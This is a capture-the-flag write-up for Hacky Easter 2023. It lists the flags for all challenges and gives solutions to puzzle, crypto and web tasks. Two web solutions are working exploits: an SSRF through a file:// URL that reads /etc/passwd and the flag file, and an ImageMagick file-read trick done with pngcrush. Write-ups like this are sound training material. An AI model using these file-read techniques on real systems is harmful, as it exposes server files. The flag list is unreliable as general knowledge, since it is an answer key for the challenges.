Overview
Challenge | Difficulty | Points | Category | Flag |
---|---|---|---|---|
Level 1 | ||||
Sanity Check | noob | 50 | misc | he2023{just_A_sanity_chEck} |
Level 2 | ||||
Word Cloud | noob | 50 | misc | he2023{this_is_the_flag!} |
Rotation | noob | 50 | misc | he2023{0n3_c4n_r34d_r0t0r_b4ckw4rds} |
Birds on a Wire | noob | 50 | crypto | he2023{birdwatchingisfun} |
Bins | noob | 50 | misc | he2023{s0rting_th3_w4ste} |
Level 3 | ||||
Chemical Code | easy | 100 | misc | he2023{flagenergyatomcosmos} |
Serving Things | easy | 100 | web | he2023{4ls0-53rv3r-c4n-b3-1nj3ct3d!!!} |
Cut Off | easy | 100 | misc | he2023{4cr0pa_wh4t?} |
Global Egg Delivery | easy | 100 | misc | he2023{u7ƒ_b0m5s_8rᗱ_n07_8ㅣway5_1gn0rᗱd} |
Level 4 | ||||
Flip Flop | medium | 200 | web | he2023{1m4g3-tr4g1cK-aga111n} |
Bouncy not in the Castle | medium | 200 | web, forensics | he2023{n0_b0uNc} |
A Mysterious Parchment | easy | 100 | misc | he2023{BUTISITACOOLOLDCODEITSUREIS} |
Hamster | easy | 100 | web | he2023{s1mpl3_h34d3r_t4mp3r1ng} |
Lost in (French) Space | easy | 100 | osint | he2023{davies} |
Spy Tricks | easy | 100 | crypto | he2023{I_like_303_b3tter_but_thats_n0t_pr1me} |
Level 5 | ||||
Thumper's PWN 3 | medium | 200 | pwn | he2023{w3lc0m3_t0_r1ng_3_thump3r} |
Ghost in a Shell | medium | 200 | forensics | he2023{al1asses-4-fUn-and-pr0fit} |
Going Round | medium | 200 | crypto | he2023{fl1p_n_r0t4t3_in_p4irs} |
Number's Station | medium | 200 | misc | he2023{L1stening_to_spy_c0mmunicat1ons} |
Igor's Gory Passwordsafe | easy | 100 | web | he2023{1d0R_c4n_d3str0y_ur_Crypt0_3ff0rt} |
Singular | easy | 100 | misc | he2023{security_first_easy_catch} |
Level 6 | ||||
Crash Bash | hard | 300 | pwn | he2023{gr34t_b4sh_succ3ss!} |
Code Locked | medium | 200 | reversing, web | he2023{w3b4553m81y_15_FUN} |
Quilt | medium | 200 | misc | he2023{Qu1lt1ng_is_quit3_relaxing!} |
Cats in the Bucket | medium | 200 | cloud | he2023{r013_assum3d_succ3ssfuLLy} |
Tom's Diary | medium | 200 | crypto | he2023{sl4sh3s_m4k3_m3_h4ppy} |
Level 7 | ||||
Custom Keyboard | hard | 300 | misc, reversing | he2023{leds_light_the_way} |
Thumper's PWN 2 | hard | 300 | pwn | unsolved |
Coney Island Hackers 2 | medium | 200 | web | he2023{fun_w1th_ev1l_ev4l_1n_nyc} |
Digital Snake Art | medium | 200 | web | he2023{0n3_d03s_n0t_s1mply_s0lv3_th1s_chllng!} |
Fruity Cipher | medium | 200 | crypto | he2023{hypervitaminosis} |
Kaos Motorn | medium | 200 | misc | he2023{Th4tSKa0Z!} |
Level 8 | ||||
This One Goes To 11 | hard | 300 | reversing | unsolved |
Thumper's PWN 1 | hard | 300 | pwn, reversing | unsolved |
Jason | hard | 300 | misc | he2023{gr3pp1n_d4_js0n_l1k3_4_pr0!} |
The Little Rabbit | hard | 300 | crypto | he2023{cr1b_dr4ggin_4_pr0fit!} |
Sanity Check
Challenge
This is your first flag!
Right here –> he2023{ }
🚩 Flags are in format he2023{...}
, unless noted otherwise. Always check additional information given (uppercase, lowercase, spaces, etc.).
Solution
The inner part of the flag is invisible, but inspecting the source for the empty-looking space gives us the hidden flag:
1
<span style="color: black; background-color: black; opacity: 0;">just_A_sanity_chEck</span>
Flag
he2023{just_A_sanity_chEck}
Word Cloud
Challenge
I like Word Clouds, what about you?
Download the image below (he2023-wordcloud.jpg), sharpen your eyes, and find the right flag.
Solution
The wordcloud contains a lot of false flags, but also the correct one, so just read all the words until you find it!
Flag
he2023{this_is_the_flag!}
Rotation
Challenge
My new rotor messed up the flag!
1
96a_abL_?b04c?0Cbc50C_E_C03c4<HcC5DN
I tried to decode it, but it didn’t work. The rotor must have been too fast!
Solution
We suspect a rotation cipher because of the cipher, and assuming the given string starts with he2023
, this indeed checks out (h
and e
are 3 apart in the ASCII table, so are 9
and 6
). It would appear to be a rotation of 47, though sometimes it is +47, sometimes -47, so we write a short script to find the direction of rotation
1
2
3
4
5
6
7
8
9
10
11
12
13
import string
ct="96a_abL_?b04c?0Cbc50C_E_C03c4<HcC5DN"
flag = ""
for i in range(0,len(ct)):
pt = chr ( ord(ct[i])+47 )
if pt not in string.printable:
pt = chr ( ord(ct[i])-47 )
flag += pt
print(flag)
which gives us the flag!
Flag
he2023{0n3_c4n_r34d_r0t0r_b4ckw4rds}
Birds on a Wire
Challenge
Just some birds sitting on a wire.
Download the image and find the flag!
Solution
Some Googling reveals that this is the “Birds on a Wire” cipher
It’s a simple substitution cipher so we just map the birds to their corresponding letters to find the flag!
Flag
he2023{birdwatchingisfun}
Bins
Challenge
The rabbits left a mess in their cage.
1
2
3
4
// // //
('> ('> LX2gkn81 ('>
/rr /rr carrots /rr
*\))_ *\))_ *\))_
If only I knew which bin to put the rubbish in.
Solution
This one took way too long, we first thought of anything in /bin
folder we might use on this, then finally realized we did not get a file to download, are there any “bins” on the website or online? OMG pastebin!
It exists, made just before the event, this is promising ..but it asks us for password, we try “carrots”, and boom, there is our flag!
Flag
he2023{s0rting_th3_w4ste}
Chemical Code
Challenge
Our crazy chemistry professor wrote a secret code on the blackboard:
1
9 57 32 10 111 39 85 8 115 8 16 42 16
He also mumbled something like “essential and elementary knowledge”.
Solution
This sounds like we have to convert atomic numbers to their corresponding sybols to get the flag
We find a python package to help us, PyAstronomyand use it to decode the flag
from PyAstronomy import pyasl
an = pyasl.AtomicNo()
ct =[9,57,32,10,111,39,85,8,115,8,16,42,16]
flag = "".join(an.getElSymbol(ct[i]) for i in range(0,len(ct)))
print(flag) # outputs FLaGeNeRgYAtOMcOSMoS
Flag
he2023{flagenergyatomcosmos}
Serving Things
Challenge
Get the 🚩 at /flag.
http://ch.hackyeaster.com:2316
Note: The service is restarted every hour at x:00.
Solution
We get a simle website
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
<head>
<title>Serving Things</title>
<link rel="stylesheet"
href="/static/app.css">
<script src="/static/jquery-3.6.3.min.js" language="javascript"></script>
<script src="/static/app.js" language="javascript"></script>
</head>
<body>
<div id="menu">
Get: <a id="quotes" href="#">Quotes</a> | <a id="colors" href="#">Colors</a> | <a id="stars" href="#">Stars</a> |
<a id="cheese" href="#">Cheese</a> | <a id="wine" href="#">Wine</a> | <a id="meals" href="#">Swiss Meals</a> |
<a id="trek" href="#">The Trek</a> | <a id="flag" href="#">Flag</a>
</div>
<div id="text">
</div>
<div id="footer">
<div id="created">
Created by inik / 2023
</div>
</div>
</body>
</html>
with app.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function get(url) {
u = encodeURI(window.location.protocol + "//" + window.location.host + "/get?url=" + url);
$.get(u, function (data) {
var color = Math.floor(Math.random() * 16777215).toString(16);
$("#text").fadeOut(400);
setTimeout(function () {
$("#text").html(data);
$("#text").css("color", "#" + color);
$("#text").fadeIn(400);
}, 400);
});
}
$(document).ready(function () {
$("#quotes").click(function () {
get("http://quotes:1337/quote");
})
$("#colors").click(function () {
get("http://colors:1337/color");
})
$("#stars").click(function () {
get("http://stars:1337/star");
})
$("#cheese").click(function () {
get("http://cheese:1337/cheese");
})
$("#flag").click(function () {
get("http://flags:1337/flag");
})
$("#wine").click(function () {
get("http://wine:1337/wine");
})
$("#meals").click(function () {
get("http://meals:1337/meal");
})
$("#trek").click(function () {
get("http://trek:1337/trek");
})
$('#quotes').trigger('click');
});
So there are a couple of words you can click on, which get
1
http://ch.hackyeaster.com:2316/get?url=http://flags:1337/flag
returns
1
Thank you hacker! But our flag is in another castle! ~ Bugs Bunny
hmm..
Let’s see what else it will serve us
1
http://ch.hackyeaster.com:2316/get?url=file:///etc/passwd
gives us the /etc/passwd
file contents!
1
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ok, so now we just need to figure out where our flag
file is..
After overthinking for a while, thinking /flag
referred to the location on the web and trying to find the web server config, we realize its just literally at /flag
on the file system, and get our flag by going to http://ch.hackyeaster.com:2316/get?url=file:///flag
, whoo!
Flag
he2023{4ls0-53rv3r-c4n-b3-1nj3ct3d!!!}
Cut Off
Challenge
I had a secret Easter egg on my screenshot, but I cropped it, hehe!
Kudos to former Hacky Easter winner Retr0id - he’s one of the researches who found the vulnerability in question!
Solution
This sounds like the recen aCROPalypse vulnerability.
We use acropalypse.app to recover the cropped part of the image.
We try some phone models until we have success with the “Google Pixel 6” setting
we than scan the QR code to get the flag
1
2
3
4
$ zbarimg screenshot-recovered.png
QR-Code:he2023{4cr0pa_wh4t?}
scanned 1 barcode symbols from 1 images in 0.24 seconds
Flag
he2023{4cr0pa_wh4t?}
Global Egg Delivery
Challenge
Thumper has taken great strides with the digitization of the business of distributing eggs and assorted goodies. Globalizing such a service is not without its pains and requires the additional effort to account for local customs.
Now Thumper has his message all prepared, fed through a block-chain enabled, micro-service driven, AI enhanced, zero trust translation service all that comes back is this…
Can you help Thumper decode the message?
Solution
By cat
ing message.txt to the terminal we see:
Looking at the bytes,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat message.txt | od -tx2 -a
0000000 feff 0068 fffe 6500 feff 0032 fffe 3000
del ~ h nul ~ del nul e del ~ 2 nul ~ del nul 0
0000020 feff 0032 fffe 3300 feff 007b fffe 7500
del ~ 2 nul ~ del nul 3 del ~ { nul ~ del nul u
0000040 feff 0037 fffe 9201 feff 005f fffe 6200
del ~ 7 nul ~ del soh dc2 del ~ _ nul ~ del nul b
0000060 feff 0030 fffe 6d00 feff 0035 fffe 7300
del ~ 0 nul ~ del nul m del ~ 5 nul ~ del nul s
0000100 feff 005f fffe 3800 feff 0072 fffe f115
del ~ _ nul ~ del nul 8 del ~ r nul ~ del nak q
0000120 feff 005f fffe 6e00 feff 0030 fffe 3700
del ~ _ nul ~ del nul n del ~ 0 nul ~ del nul 7
0000140 feff 005f fffe 3800 feff 3163 fffe 7700
del ~ _ nul ~ del nul 8 del ~ c 1 ~ del nul w
0000160 feff 0061 fffe 7900 feff 0035 fffe 5f00
del ~ a nul ~ del nul y del ~ 5 nul ~ del nul _
0000200 feff 0031 fffe 6700 feff 006e fffe 3000
del ~ 1 nul ~ del nul g del ~ n nul ~ del nul 0
0000220 feff 0072 fffe f115 feff 0064 fffe 7d00
del ~ r nul ~ del nak q del ~ d nul ~ del nul }
0000240
0xfeff
and 0xffe
are Unicode BOMs. (Namely they should appear ONLY at the start)
The BOM character is, simply, the Unicode codepoint U+FEFF ZERO WIDTH NO-BREAK SPACE, encoded in the current encoding. Traditionally, this codepoint is just a zero-width non-breaking space that inhibits line-breaking between word-glyphs. As such, if the BOM character appears in the middle of a data stream, Unicode says it should be interpreted as a normal codepoint, not as a BOM. Since Unicode 3.2, this usage has been deprecated in favor of U+2060 WORD JOINER.[1] - https://en.wikipedia.org/wiki/Byte_order_mark
So this is ,, incredibly invalid utf16. Fun! We can decode this manually by regexing the above into something like:
1
2
3
4
5
6
7
8
9
10
printf '\xfe\xff\x00\x68\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x65\x00\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xfe\xff\x00\x32\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x30\x00\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xfe\xff\x00\x32\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x33\x00\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xfe\xff\x00\x7b\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x75\x00\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xfe\xff\x00\x37\x00' | iconv -f utf-16 -t utf-8 | uniname
printf '\xff\xfe\x92\x01\x00' | iconv -f utf-16 -t utf-8 | uniname
And then seeing the result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
16:55:38|(main) [user@p:~/projects/ctf-writeups-galaxians/HackyEaster_2023]$ bash message.sh 2>/dev/null | grep 0
0 0 000068 68 h LATIN SMALL LETTER H
0 0 000065 65 e LATIN SMALL LETTER E
0 0 000032 32 2 DIGIT TWO
0 0 000030 30 0 DIGIT ZERO
0 0 000032 32 2 DIGIT TWO
0 0 000033 33 3 DIGIT THREE
0 0 00007B 7B { LEFT CURLY BRACKET
0 0 000075 75 u LATIN SMALL LETTER U
0 0 000037 37 7 DIGIT SEVEN
0 0 000192 C6 92 ƒ LATIN SMALL LETTER F WITH HOOK
0 0 00005F 5F _ LOW LINE
0 0 000062 62 b LATIN SMALL LETTER B
0 0 000030 30 0 DIGIT ZERO
0 0 00006D 6D m LATIN SMALL LETTER M
0 0 000035 35 5 DIGIT FIVE
0 0 000073 73 s LATIN SMALL LETTER S
0 0 00005F 5F _ LOW LINE
0 0 000038 38 8 DIGIT EIGHT
0 0 000072 72 r LATIN SMALL LETTER R
0 0 0015F1 E1 97 B1 ᗱ CANADIAN SYLLABICS CARRIER GE
Pulling out that middle column manually (sorry) we get the flag:
Flag
he2023{u7ƒ_b0m5s_8rᗱ_n07_8ㅣway5_1gn0rᗱd}
Flip Flop
Challenge
This awesome service can flipflop an image!
Flag is located at: /flag.txt
http://ch.hackyeaster.com:2310
Solution
We get a service that will take an image we supply it, and return it to us flipped upside down. The hint says it uses imagemagick to do this.
This looks like an imagemagick vulnerability, and we find a useful article on the topic that we can follow.
So we use pngcrush to generate our image (the test.png
input image can be any png image you have lying around)
1
$ pngcrush -text a Profile /flag.txt test.png
This creates an output image in pngout.png, and we can check the metadata is set correctly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ exiftool pngout.png
ExifTool Version Number : 12.40
File Name : pngout.png
Directory : .
File Size : 2.3 MiB
File Modification Date/Time : 2023:04:10 19:47:32+02:00
[..]
History When : 2023:01:30 11:31:54+01:00
Warning : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers)
Profile : /flag.txt
Image Size : 2732x1810
Megapixels : 4.9
We upload this to our server, and get an image back, pngreturned.png
Frustratingly, exiftool
doesn’t show us the Raw profile type
metadata tag with the flag in it, but using the exiv2
tool does:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ exiv2 -pS pngreturned.png [10-04-23 19:59:30]
STRUCTURE OF PNG FILE: pngreturned.png
address | chunk | length | data | checksum
8 | IHDR | 13 | ............ | 0x6e9bc480
33 | iCCP | 371 | icc..(.u..+DQ..?fh.G....%...5. | 0x09d9776f
416 | cHRM | 32 | ..z&..............u0...`..:.. | 0x9cba513c
460 | bKGD | 6 | ...... | 0xa0bda793
478 | pHYs | 9 | ......... | 0x952b0e1b
499 | tIME | 7 | ...../' | 0xf75a837f
518 | tEXt | 94 | Raw profile type txt..txt. | 0x633ed62f
624 | IDAT | 32768 | x....w\..'.m{\..... A&.$..n... | 0xadc05540
33404 | IDAT | 32768 | ?33Q..~..g.o..B......9g\....Z+ | 0x807f9e28
66184 | IDAT | 32768 | ...5595==.8....B.A..N..3 D.l6. | 0x82fb6bd5
98964 | IDAT | 32768 | .a..=55}... 0...j,.-b....R.@." | 0x586f7028
131744 | IDAT | 32768 | z*.9..Z.s....@))%...,.9.@J. .. | 0x7fd64b40
164524 | IDAT | 32768 | ..Z........R.....(......f.`... | 0x73e7d6f7
[..]
opening in a hexeditor helps
1
6865323032337b316d3467332d7472346731634b2d6167613131316e7d
Hey, this looks like plausible hex-encoded ASCII text, let’s decode!
Flag
he2023{1m4g3-tr4g1cK-aga111n}
Bouncy not in the Castle
Challenge
Very bouncy, indeed, but not in a castle.
Try http://ch.hackyeaster.com:2308
Solution
Hmm…
We get to a website where we can look around, we seem to be in a patch of grass in a town, and pastel coloured eggs drop down on us and start bouncing.
Source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
<!DOCTYPE html>
<html lang="en">
<head>
<title>three.js webgl - materials - cube refraction [balls]</title>
<meta charset="utf-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
<link type="text/css" rel="stylesheet" href="main.css">
<script src="background.png.js"></script>
</head>
<body>
<script type="module">
import * as THREE from './three.module.js';
import Stats from './stats.module.js';
const VSTEP = 20; // Speed increase per step
const VDAMP = 0.98; // Damping because of friction
const EGGSIZE = 250; // egg size in pixel
let container, stats;
let camera, scene, renderer;
const eggs = [];
let mouseX = 0, mouseY = 0;
let windowHalfX = window.innerWidth / 2;
let windowHalfY = window.innerHeight / 2;
document.addEventListener( 'mousemove', onDocumentMouseMove, false );
// Clock for smooth movement on slower PCs
const clock = new THREE.Clock();
init();
animate();
function init() {
// canvas
container = document.createElement( 'div' );
document.body.appendChild( container );
// stats
stats = new Stats();
container.appendChild( stats.dom );
// camera
camera = new THREE.PerspectiveCamera( 60, window.innerWidth / window.innerHeight, 1, 100000 );
camera.position.z = 3200;
// scene
scene = new THREE.Scene();
scene.background = new THREE.CubeTextureLoader()
.setPath( 'textures/cube/' )
.load( [ 'posx.jpg', 'negx.jpg', 'posy.jpg', 'negy.jpg', 'posz.jpg', 'negz.jpg' ] );
// geometry (egg)
// points - (x, y) pairs are rotated around the y-axis
var points = [];
var SIZE = 150;
for ( var deg = 0; deg <= 180; deg += 6 ) {
var rad = Math.PI * deg / 180;
var point = new THREE.Vector2( ( 0.72 + .08 * Math.cos( rad ) ) * Math.sin( rad ) * EGGSIZE, - Math.cos( rad ) * EGGSIZE ); // the "egg equation"
//console.log( point ); // x-coord should be greater than zero to avoid degenerate triangles; it is not in this formula.
points.push( point );
}
const eggGeometry = new THREE.LatheBufferGeometry( points, 32 );
// generate all eggs
for ( let x = 0; x < 21; x ++ ) {
for ( let z = 0; z < 21; z ++ ) {
const mesh = new THREE.Mesh( eggGeometry, getRandomMaterial(x, z));
mesh.position.x = x * 10000 / 21 - 5000;
mesh.position.y = 5000 + Math.random() * 5000;
mesh.position.z = z * 10000 / 21 - 5000;
mesh.userData.vy = 0;
scene.add(mesh);
eggs.push( mesh );
}
}
renderer = new THREE.WebGLRenderer();
renderer.setPixelRatio( window.devicePixelRatio );
renderer.setSize( window.innerWidth, window.innerHeight );
container.appendChild( renderer.domElement );
//
window.addEventListener( 'resize', onWindowResize, false );
}
function getRandomColor(x, z) {
let pos = (x + z * 21) * 6;
let val = parseInt(hex.substring(pos, pos + 6), 16);
console.log("x:" + x + ", z: " + z + ", val: " + val )
return val;
}
function getRandomMaterial(x, z) {
let material = new THREE.MeshBasicMaterial( {color: getRandomColor(x, z), envMap: scene.background, refractionRatio: 0.95 } );
material.envMap.mapping = THREE.CubeRefractionMapping;
return material;
}
function onWindowResize() {
windowHalfX = window.innerWidth / 2;
windowHalfY = window.innerHeight / 2;
camera.aspect = window.innerWidth / window.innerHeight;
camera.updateProjectionMatrix();
renderer.setSize( window.innerWidth, window.innerHeight );
}
function onDocumentMouseMove( event ) {
mouseX = ( event.clientX - windowHalfX ) * 10;
mouseY = ( event.clientY - windowHalfY ) * 10;
}
//
function animate() {
requestAnimationFrame( animate );
render();
stats.update();
}
function render() {
const delta = clock.getDelta();
for ( let i = 0, il = eggs.length; i < il; i ++ ) {
const egg = eggs[i];
egg.position.y += egg.userData.vy;
egg.userData.vy -= delta * VSTEP;
if (egg.position.y < 0) {
egg.position.y = - egg.position.y;
egg.userData.vy = - egg.userData.vy * VDAMP;
}
}
camera.position.x += ( mouseX - camera.position.x ) * .05;
camera.position.y += ( - mouseY - camera.position.y ) * .05;
camera.lookAt( scene.position );
renderer.render( scene, camera );
}
</script>
</body>
</html>
and background.png.js
:
1
hex="9694fb96c7c186bad7f9b0cbb1da818b84ad84a49df3c6aaeeb5aedccca394e5f4d8a786fd9298a1edfcafcbd9f99aa5a1b3ebbf8ae5ab82a3d49293d08e83f1a1b9b4f9eab3daf6e4a8faf8a7f6cbbff6947fb584c4a69c84efe286f8dcfa9fc2f0a5afca97ef9b9ca7ccedfdb8ca9c95bcd3859ea6f2a2b7a980cd89a1bdeaefa6bda69d91fbf4dbbb85f6b7b6b4ded0989fcbd6dac997fca0d5bae6e0a0a3e384a792f4d3bcb884dbe59ec6acaaa599cf8ebbc28483a79ea681efaf93dcafe4f5f2ea8c97b4d9afdcade3bf8e8ee89e89e789c09d97fb8db6a6d7bd9ffbdd87c599aeb2fba6f5e9a1ccb5c880e5d7deb5b3aacee98bb1daa1e3d19fbbfbf9f8a68384f9c3f6cbfdc1a59fb6a2d4f3d99683f689b59ea0cafe83b7ef8283e2c5e4cdfbd8c096dbbff8b4acceb67f82f3e5fdcc8fc9e1cefcd3a7a883adf0b0929da9b6eef9ee81c580e1e49ab8a9e1edd88ae0dac3a2edb4f3fe86aaf6c5d7bbddc8c0a2c7e9d19dd0b285b1b6aca9809fbdfcbdb7a0edd399ccbdd3a3adafbddfe1fdb2adcab891c9faafc2bcbb9c86eea0e389f8e48e89eaa3a6afeec49295d08ddabb87efc188c17f8fd99ce89bb9f1b793f4ffa2e8f9a0bb9cff8a96f79dceab9fb4a989c093ed9ce38282ffa3c8bb9fc4cacbe5d0dfee81d3bdbba4c9b8d5decb9ff883bab09fe7bcfdfd84b1d6da80de9eafb4b0b4d9d5c9f8a7c0d5977fbdb3c1849fdbf7e29bbeeba1b5ed82bb97b980d5be89e2e88bdd98eb95afde97ebf2a6a69bd1f0b882d380b3a3a6a080978da6f58ad5e7bda5def6f2eae9d7f099b393a8ed96a4d0e592dba3c581e18f82bdfb9a9c99dc9cbfacc1c48daec6df8983b3abfebeb6c5e98587868dbb7f8af89e92cda9b285ead8b0df80afa3f4ad92a6adc4f7e2a49cd782e4d98aaaec968de8feebd5bdaf97f0aea3d7dcff8cd1b5d49af4d9ec9c9a93f3a098adde88839ff0fed3f38c8fef8bb2a6aba8d3e1a0c48aa2a382fc89acc9ee9af2cd8ed5fb90b4d4f5c7bbd0d7bcdf898df1cdc9a496c7c587f1dbc9bebaaf989d8cf980d099d2d7dcffe6f9dba1f4e5e1949bf0c9dba7cbe394ba8384aaa6db998bd2b0d5e6eeb89580aad7d097e7d6c2f87fd9a3a1a593dfe7fef2a98a8bf59aa2e0e1f4c7bbdde4bbae9683e6b2bcc9f6d4a7beeed696d69d94d6fab2e0b0d9cda08fddb68c87fde1eec7d89fe8cfaabbb9a8f2db8dd2ece4a9d0f5af998290b4fba39bf19b85dfb9d7a3bd89b0d3b58ef2a7f3b699b4e7e5b9f7cec283e9bdec8af4f396f7fefe81d5dfcaa9f48cf181e9a2a5819df2afcfb8ab8ecf89c2e788cdaecad4b5ce8daef7d9b091ecd6bf9ab693fcfc90ff83f9c8d28f9bcabcc69bc0a0d0b8fe8482d4bca1fac2af8af8e48da9b4e3a6fa97e6cce4e781c2f4e1abf5e49eabedb18c87c98b9181a982d3c1c482fcca82efe7c0b2c19c8fdce89fe0ad9196c3eebbad8185fab7b981e3ede880ecfec88aa589cec9c7bc8282fbecf8b1889787fef0adfb9fcfdfbd989b8fb2c3e891bea9cdfdcce5b2eddbc99cd2e1eefaf6cab2e1c89186a697abcad98ada94a1b5c0a2e4f291c9eabdaec2cbcce0ade1e7a492c58ae3b0c69baefce988e7ead39abff1cf9ada8dd59d8a9bf1e4b4a0c4dfc9d9f1f0e0be938a88a6cef7e8fcaeb5a9caf4bec5dde184e288dec9bae7998ceae7dfdced95e8d9a9aa8db996e5ce7fa1a6908d9edbc0d2b296fdefa890dbc8dcb0f4be839992dcdafdb3a596cb97e2a5ebf28cc7a4d0a0f8d49cb3a188fabf8ad789efb5f3ac8c839ddea189ea97d9c2a0c991d589bebb9dce9db6e6bbe6e9f2a8c2819fa5e48fe8b587b7e38c9dc6ced4d7d9fdfb81a9c0"
not sure what to do with that..
BouncyCastle is an encryption library ?
But this is a forensics challenge
no clue..
ok, the hex
variable in background.png.js is used to generate “random” colours. This it definitely weird, let’s look at that more closely. We see it uses six charachters of this string as a colour value for the eggs, and it accesses them as if it’s a square of 21 by 21 pixels.. Let’s recreate all these colours as an image//
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image
import textwrap
hexstring="9694fb96c7c186bad7f9b0cbb1da818b84ad84a49df3c6aaeeb5aedccca394e5f4d8a786fd9298a1edfcafcbd9f99aa5a1b3ebbf8ae5ab82a3d49293d08e83f1a1b9b4f9eab3daf6e4a8faf8a7f6cbbff6947fb584c4a69c84efe286f8dcfa9fc2f0a5afca97ef9b9ca7ccedfdb8ca9c95bcd3859ea6f2a2b7a980cd89a1bdeaefa6bda69d91fbf4dbbb85f6b7b6b4ded0989fcbd6dac997fca0d5bae6e0a0a3e384a792f4d3bcb884dbe59ec6acaaa599cf8ebbc28483a79ea681efaf93dcafe4f5f2ea8c97b4d9afdcade3bf8e8ee89e89e789c09d97fb8db6a6d7bd9ffbdd87c599aeb2fba6f5e9a1ccb5c880e5d7deb5b3aacee98bb1daa1e3d19fbbfbf9f8a68384f9c3f6cbfdc1a59fb6a2d4f3d99683f689b59ea0cafe83b7ef8283e2c5e4cdfbd8c096dbbff8b4acceb67f82f3e5fdcc8fc9e1cefcd3a7a883adf0b0929da9b6eef9ee81c580e1e49ab8a9e1edd88ae0dac3a2edb4f3fe86aaf6c5d7bbddc8c0a2c7e9d19dd0b285b1b6aca9809fbdfcbdb7a0edd399ccbdd3a3adafbddfe1fdb2adcab891c9faafc2bcbb9c86eea0e389f8e48e89eaa3a6afeec49295d08ddabb87efc188c17f8fd99ce89bb9f1b793f4ffa2e8f9a0bb9cff8a96f79dceab9fb4a989c093ed9ce38282ffa3c8bb9fc4cacbe5d0dfee81d3bdbba4c9b8d5decb9ff883bab09fe7bcfdfd84b1d6da80de9eafb4b0b4d9d5c9f8a7c0d5977fbdb3c1849fdbf7e29bbeeba1b5ed82bb97b980d5be89e2e88bdd98eb95afde97ebf2a6a69bd1f0b882d380b3a3a6a080978da6f58ad5e7bda5def6f2eae9d7f099b393a8ed96a4d0e592dba3c581e18f82bdfb9a9c99dc9cbfacc1c48daec6df8983b3abfebeb6c5e98587868dbb7f8af89e92cda9b285ead8b0df80afa3f4ad92a6adc4f7e2a49cd782e4d98aaaec968de8feebd5bdaf97f0aea3d7dcff8cd1b5d49af4d9ec9c9a93f3a098adde88839ff0fed3f38c8fef8bb2a6aba8d3e1a0c48aa2a382fc89acc9ee9af2cd8ed5fb90b4d4f5c7bbd0d7bcdf898df1cdc9a496c7c587f1dbc9bebaaf989d8cf980d099d2d7dcffe6f9dba1f4e5e1949bf0c9dba7cbe394ba8384aaa6db998bd2b0d5e6eeb89580aad7d097e7d6c2f87fd9a3a1a593dfe7fef2a98a8bf59aa2e0e1f4c7bbdde4bbae9683e6b2bcc9f6d4a7beeed696d69d94d6fab2e0b0d9cda08fddb68c87fde1eec7d89fe8cfaabbb9a8f2db8dd2ece4a9d0f5af998290b4fba39bf19b85dfb9d7a3bd89b0d3b58ef2a7f3b699b4e7e5b9f7cec283e9bdec8af4f396f7fefe81d5dfcaa9f48cf181e9a2a5819df2afcfb8ab8ecf89c2e788cdaecad4b5ce8daef7d9b091ecd6bf9ab693fcfc90ff83f9c8d28f9bcabcc69bc0a0d0b8fe8482d4bca1fac2af8af8e48da9b4e3a6fa97e6cce4e781c2f4e1abf5e49eabedb18c87c98b9181a982d3c1c482fcca82efe7c0b2c19c8fdce89fe0ad9196c3eebbad8185fab7b981e3ede880ecfec88aa589cec9c7bc8282fbecf8b1889787fef0adfb9fcfdfbd989b8fb2c3e891bea9cdfdcce5b2eddbc99cd2e1eefaf6cab2e1c89186a697abcad98ada94a1b5c0a2e4f291c9eabdaec2cbcce0ade1e7a492c58ae3b0c69baefce988e7ead39abff1cf9ada8dd59d8